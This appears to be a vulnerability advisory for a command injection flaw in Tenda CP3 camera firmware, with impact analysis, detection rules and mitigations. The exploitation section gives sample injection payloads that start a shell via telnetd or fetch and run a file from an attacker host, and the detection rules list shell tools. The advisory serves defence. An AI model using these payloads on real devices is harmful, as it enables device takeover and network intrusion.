CVE-2026-86152

Executive Summary

CVE-2026-86152 describes a critical operating system (OS) command injection vulnerability in the Tenda CP3 wireless IP camera, firmware version 27.5.57.101. The flaw resides in the CAutoAddWifi::ThreadProc function within the Functions/AutoAddWifi.cpp file, part of the Kylin component, and can be exploited remotely without authentication. Successful exploitation grants full remote code execution on the device with highest privileges, and given the network access vector and scope change (CVSS 10.0), a compromised camera can serve as a pivot point into the broader internal network. No patch currently exists, and no exploit code or vendor fix has been publicly disclosed.

Technical Analysis

The vulnerability is classified under CWE-77 (Improper Neutralization of Special Elements used in a Command — Command Injection). The flaw is present in the Tenda CP3 camera firmware version 27.5.57.101, specifically in the CAutoAddWifi::ThreadProc function found within the file Functions/AutoAddWifi.cpp, belonging to the "Kylin" component.

The vulnerable function CAutoAddWifi::ThreadProc is a thread procedure responsible for handling automatic Wi-Fi addition functionality. This suggests the device periodically scans for and associates with Wi-Fi access points, potentially using parameters such as SSID, BSSID, or channel information in system-level shell commands. The manipulation of one or more inputs processed by this thread leads to OS command injection, meaning an attacker-controlled value is concatenated into a shell command without adequate sanitization.

The Kylin component likely represents a subsystem of the camera firmware that manages network configuration and connectivity. Because the attack may be launched remotely (AV:N) with no privileges required (PR:N) and no user interaction (UI:N), the vulnerable code path appears reachable through the network-facing attack surface, likely via the camera's web management interface or network service. The attack must involve supplying crafted data — possibly a malformed SSID, wireless access point parameters, or another configuration value — that, when processed by the AutoAddWifi thread and passed to a command execution function (e.g., system(), popen(), or similar), injects additional shell commands.

Insufficient technical detail is available in the public description to identify the exact input parameter, the specific command execution primitive, or the precise network protocol used to trigger the flaw. However, the vulnerability class is well understood: an unsanitized data flow from a network-reachable input to an OS command interpreter. The presence of this flaw in a thread procedure suggests exploitation could occur asynchronously, potentially triggered during normal operations (e.g., during a Wi-Fi scan cycle) or through crafted network traffic sent directly to the camera's service.

Exploitation Scenarios

No public PoC or exploit code is currently available, and no Nuclei template or weaponized exploit has been observed. The attack chain below is therefore inferred from the vulnerability class (CWE-77 OS command injection) and the remote, unauthenticated attack vector indicated by the CVSS metrics.

Step 1 — Reconnaissance / Target Identification: An attacker begins by scanning the internet or target network for Tenda CP3 cameras. Shodan or similar services can identify exposed devices by their HTTP management interface signatures (e.g., title containing "Tenda"). Alternatively, network scans (Nmap, masscan) over common camera ports (80/443/8080 or proprietary ports) fingerprint the device and confirm firmware version 27.5.57.101.

Step 2 — Triggering the Flaw: The attacker crafts a request to the camera's management interface or network service that targets the AutoAddWifi functionality. Since the flaw is in the thread procedure handling automatic Wi-Fi add operations, the attacker may manipulate parameters that the CAutoAddWifi::ThreadProc processes — for example, SSID scanning parameters, wireless profile data, or configuration fields sent via an HTTP POST request or a proprietary protocol.

Step 3 — Payload Execution (Vulnerability-Class Level): A classic OS command injection payload embeds shell metacharacters (such as ;, &&, |, `, or $(...)) within a legitimate parameter value. Because the vulnerable string is placed into a shell command without sanitization, the injected operators terminate the intended command and execute arbitrary attacker-controlled shell commands. Example class-level payloads include appending ; <command> to an SSID field or injecting a reverse shell command such as ; busybox telnetd -l /bin/sh or ; wget http://attacker/payload -O /tmp/x && chmod +x /tmp/x && /tmp/x.

Step 4 — Post-Exploitation Impact: Successful OS command injection on an embedded device runs with elevated privileges (typically root on such cameras). The attacker gains a foothold on the internal network, can capture live video feed, redirect or disable the camera's operation, pivot to other hosts on the LAN, or enroll the device in a botnet. Given the CVSS scope change (S:C), compromised credentials, data, and access extend beyond the camera to the surrounding infrastructure.

Impact Assessment

The CVSS base score of 10.0 reflects the most severe impact profile: network-reachable (AV:N), no authentication or privileges required (PR:N), no user interaction (UI:N), and a scope change (S:C) with full compromise of confidentiality, integrity, and availability (C:H/I:H/A:H).

Business Impact:

• Confidentiality: An attacker can access live and recorded surveillance video, potentially exposing sensitive business or personal information monitored by the camera.
• Integrity: The device firmware, configuration, and video stream can be modified, allowing fake feeds, disabled recording, or tampered evidence.
• Availability: The camera can be bricked (permanently disabled), reboot-looped, or used as a denial-of-service vector against network resources.
• Network Pivot: Because these cameras typically reside on office LANs or factory floors, OS-level compromise grants a foothold for lateral movement to servers, workstations, or other network infrastructure — especially where flat network segmentation is employed.

Affected Systems: All Tenda CP3 units running firmware version 27.5.57.101 are presumed vulnerable. Additional CP3 firmware versions may also be affected, but no version range has been confirmed. The firmware version indicates the Kylin component — a customized subsystem — is present in this release.

Detection Guidance

Sigma Rule

title: Tenda CP3 OS Command Injection Attempt (CVE-2026-86152)
id: 1b8e6f4d-c9b8-4e1f-a0b1-7c4c3d2e9f0a
status: experimental
description: Detects anomalous HTTP requests targeting Tenda CP3 camera management interface with command injection metacharacters in likely AutoAddWifi parameters.
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-86152
author: Valtersit Threat Intelligence
date: 2026/01/01
logsource:
    category: webserver
    product: tenda_cp3
detection:
    selection_command_chars:
        cs-method: 'POST'
        c-uri|contains:
            - ';'
            - '|'
            - '&&'
            - '`'
            - '$('
    selection_sensitive_paths:
        c-uri|contains:
            - 'autoaddwifi'
            - 'wifi'
            - 'wireless'
    condition: selection_command_chars and selection_sensitive_paths
level: high
falsepositives:
    - Legitimate SSID names containing shell metacharacters (rare)

YARA Rule

rule CVE_2026_86152_Tenda_CP3_CmdInjection
{
    meta:
        author = "Valtersit Threat Intelligence"
        description = "Detects Tenda CP3 firmware artifacts or exploit strings referencing AutoAddWifi command injection"
        cve = "CVE-2026-86152"
        date = "2026-01-01"
        severity = "critical"
    strings:
        $s1 = "AutoAddWifi" ascii wide nocase
        $s2 = "ThreadProc" ascii wide nocase
        $s3 = "AutoAddWifi.cpp" ascii wide nocase
        $s4 = "27.5.57.101" ascii wide
        $cmd1 = "system(" ascii wide
        $cmd2 = "popen(" ascii wide
        $cmd3 = "/bin/sh" ascii wide
        $cmd4 = "busybox" ascii wide
        $cmd5 = "wget " ascii wide
        $cmd6 = ";telnetd" ascii wide
    condition:
        (uint16(0) == 0x5A4D or uint16(0) == 0x457F) and  // PE or ELF firmware binary
        any of ($s*) and
        (any of ($cmd*) or 2 of ($s*))
}

Suricata IDS Rule

alert http any any -> any any (msg:"ET EXPLOIT Tenda CP3 AutoAddWifi OS Command Injection Attempt (CVE-2026-86152)"; flow:to_server,established; content:"POST"; http_method; content:"wifi"; http_uri; nocase; content:"autoadd"; http_uri; nocase; pcre:"/(?:;|\||\&\&|`|\$\().*(?:id|wget|nc|telnetd|rm|ls|cat)/i"; sid:202686152; rev:1; metadata:created_at 2026_01_01, updated_at 2026_01_01, former_category EXPLOIT, signature_severity Critical, attack_target Client_Endpoint, deployment Perimeter; reference:cve,2026-86152; classtype:attempted-admin;)

Elastic Detection

sequence by source.ip with maxspan=5m
  [network where event.category == "network_traffic" and destination.port == 80 and
   network.protocol == "http" and http.request.method == "POST" and
   url.path : "*wifi*" and 
   (url.path : "*autoadd*" or url.path : "*AutoAdd*")]
  [process where event.action == "exec" and process.command_line : (
     "*; id*", "*| nc *", "*wget *", "*telnetd*", "*`id`*", "*$(id)*", "*/bin/sh*")]

Splunk SPL Query

(index=web OR index=proxy) sourcetype=access_combined
| where like(method, "%POST%")
| where like(uri, "%wifi%") OR like(uri, "%AutoAdd%") OR like(uri, "%autoadd%")
| regex uri="(?i)(;|\||&&|`|\$\()"
| regex uri="(?i)(wget|nc|telnetd|busybox|id|cat|ls|rm|sh)"
| stats count by src_ip, uri, status, dest_host
| sort - count

Wazuh OSSEC Rule

<group name="network_attacks,">
  <rule id="546267" level="15">
    <decoded_as>json</decoded_as>
    <field name="url">\.(wifi|autoadd|AutoAdd).*</field>
    <regex>(\;|\|\||\&\&|`|\$\().*(wget|nc|busybox|telnetd|id|cat|ls|/bin/sh)</regex>
    <description>Tenda CP3 OS Command Injection attempt detected (CVE-2026-86152)</description>
    <group>attack,cve-2026-86152,</group>
    <mitre>
      <id>T1190</id>
    </mitre>
  </rule>
</group>

Mitigation & Patch Guidance

Patch Confidence: 0/4 — UNPATCHED. No patch, vendor advisory, or firmware update addressing CVE-2026-86152 has been identified from any tracked source. The vendor has not released a fix nor acknowledged the vulnerability publicly.

Immediate Mitigations (compensating controls):

1. Network Isolation: Segment all Tenda CP3 cameras onto a dedicated management VLAN with strict egress filtering. Block direct internet exposure of camera management interfaces.
2. Access Control: Restrict management interface access to trusted administrator IPs only via firewall rules or ACLs. Disable remote management if not operationally required.
3. Traffic Monitoring: Deploy the detection rules above at the network perimeter, on the proxy, and at the host level. Alert on any anomalous traffic toward camera IPs containing command-injection character patterns.
4. Decommission if Possible: If the CP3 camera is not business-critical, isolate or decommission it until a firmware fix is available.

Patch/Upgrade Steps:

1. Monitor Tenda's official website and security advisory channels for a firmware update for the CP3 series.
2. When a patched firmware is released, validate it in a test environment, then upgrade all affected devices.
3. Verify post-upgrade that the fix addresses the CAutoAddWifi::ThreadProc command injection path.

Long-Term Hardening:

1. Replace End-of-Life Devices: Evaluate whether the CP3 is approaching or has passed vendor support end-of-life; plan hardware refresh with a vendor that provides sustained security updates.
2. Network Segmentation: Architect IoT/surveillance networks with strict segmentation, denying lateral movement toward production systems.
3. Change Default Credentials: Ensure all cameras use strong, unique credentials; disable default admin accounts where supported.
4. Firmware Update Cadence: Enforce a regular upgrade cycle and subscribe to vendor security bulletins for all network-attached devices.
5. Physical Security: Limit physical access to camera Ethernet ports and reset buttons to prevent local compromise.

References

1. NVD Entry: https://nvd.nist.gov/vuln/detail/CVE-2026-86152
2. MITRE CWE-77: https://cwe.mitre.org/data/definitions/77.html
3. CISA Known Exploited Vulnerabilities Catalog: https://www.cisa.gov/known-exploited-vulnerabilities-catalog (CVE-2026-86152 is NOT listed — no confirmed in-the-wild exploitation)
4. Tenda Product Support Page: https://www.tenda.com.cn/ (Vendor advisory pending — no security bulletin available)
5. FIRST.org CVSS Calculator: https://www.first.org/cvss/calculator/3.1 — for CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H verification

Threat Actor / Exploit-in-the-Wild Evidence: No known threat actor campaigns or exploit-in-the-wild activity has been documented for CVE-2026-86152 as of the writing of this report. CISA KEV status confirms no confirmed exploitation. EPSS score has not yet been assigned by FIRST.org.